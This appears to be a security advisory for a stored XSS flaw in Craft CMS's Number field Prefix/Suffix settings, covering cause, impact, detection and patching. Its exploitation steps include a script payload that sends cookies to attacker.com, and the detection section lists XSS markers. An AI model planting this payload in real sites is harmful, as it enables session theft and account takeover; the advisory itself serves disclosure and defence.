CVE-2026-25496: 
PHP vulnerability analysis and mitigation

CVE-2026-25496 is a stored cross-site scripting (XSS) vulnerability in Craft CMS affecting the Number field type's Prefix and Suffix settings. The flaw exists in Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, and was disclosed on February 9, 2026. It carries a CVSS v3.1 base score of 4.8 (Medium) (GitHub Advisory). The vulnerability was reported by researcher mHe4am and patched in versions 4.16.18 and 5.8.22 (Craft Security Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). In the Twig template src/templates/_components/fieldtypes/Number/input.twig, the prefix and suffix variables were rendered using |md(inlineOnly=true)|raw without the encode=true parameter, meaning user-supplied Markdown content was passed through raw HTML output without HTML-encoding (Craft Commit). An attacker with administrator access and allowAdminChanges enabled can inject a malicious script payload (e.g., <script>...</script>) into the Prefix or Suffix field of a Number field type. The script is stored persistently and executes in the browser of any user who views a profile or element form displaying that Number field (GitHub Advisory). The fix adds encode=true to the |md filter call, ensuring HTML entities are properly escaped before rendering.

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browsers of other users — including administrators — who view pages containing the affected Number field. This can lead to session token theft, account takeover, credential harvesting, and unauthorized actions performed on behalf of victims within the Craft CMS control panel (GitHub Advisory). Availability is not directly impacted, but confidentiality and integrity of user sessions and data are at risk (Feedly).

Exploitation requires high privileges (administrator access) and allowAdminChanges to be enabled in the production environment — a configuration Craft explicitly discourages. User interaction is required, as a victim must visit a page rendering the malicious Number field. The EPSS score is approximately 0.02% (7th percentile), indicating low near-term exploitation probability (GitHub Advisory). Proof-of-concept steps are publicly documented in the GitHub Security Advisory, but there is no evidence of active in-the-wild exploitation or CISA KEV catalog inclusion as of the disclosure date (Feedly).

1. Gain Administrator Access: Obtain or compromise an administrator account on a Craft CMS instance running versions 4.0.0-RC1–4.16.17 or 5.0.0-RC1–5.8.21, with allowAdminChanges enabled.
2. Navigate to Field Settings: In the Craft control panel, go to Settings → Fields → New field and select Number as the field type.
3. Inject XSS Payload: In the Prefix or Suffix text field, enter a malicious script payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Save and Assign the Field: Save the field configuration, then add it to a user-facing element layout (e.g., Settings → Users → User Fields).
5. Trigger Execution: When any user (including other admins) navigates to their account page (/admin/myaccount) or any user profile (/admin/users/{id}) that renders the Number field, the injected script executes in their browser, enabling session hijacking or other malicious actions (Craft Security Advisory).

• Logs: Craft CMS audit logs showing creation or modification of Number field types with unusual Prefix or Suffix values containing HTML tags or JavaScript syntax (e.g., <script>, onerror=, javascript:).
• Network: Outbound HTTP requests from admin users' browsers to unexpected external domains shortly after visiting /admin/myaccount or /admin/users/{id} pages — potentially carrying session cookie data.
• File System / Database: Database records in the fields table where settings JSON for Number field types contains script-like content in prefix or suffix keys.
• Process/Behavior: Unexpected admin-level actions (e.g., new user creation, permission changes) occurring without corresponding legitimate admin activity, potentially indicating session hijacking via XSS (GitHub Advisory).

Upgrade Craft CMS to version 4.16.18 (for the 4.x branch) or 5.8.22 (for the 5.x branch), which apply the fix by adding encode=true to the |md Twig filter for Prefix and Suffix rendering (Craft Release 5.8.22, Craft Commit). As an interim workaround, disable allowAdminChanges in production environments — this is already Craft's recommended security posture and prevents field configuration changes that could introduce the payload (Craft Security Advisory). Additionally, restrict administrator access to trusted personnel only and audit existing Number field Prefix/Suffix values for suspicious content.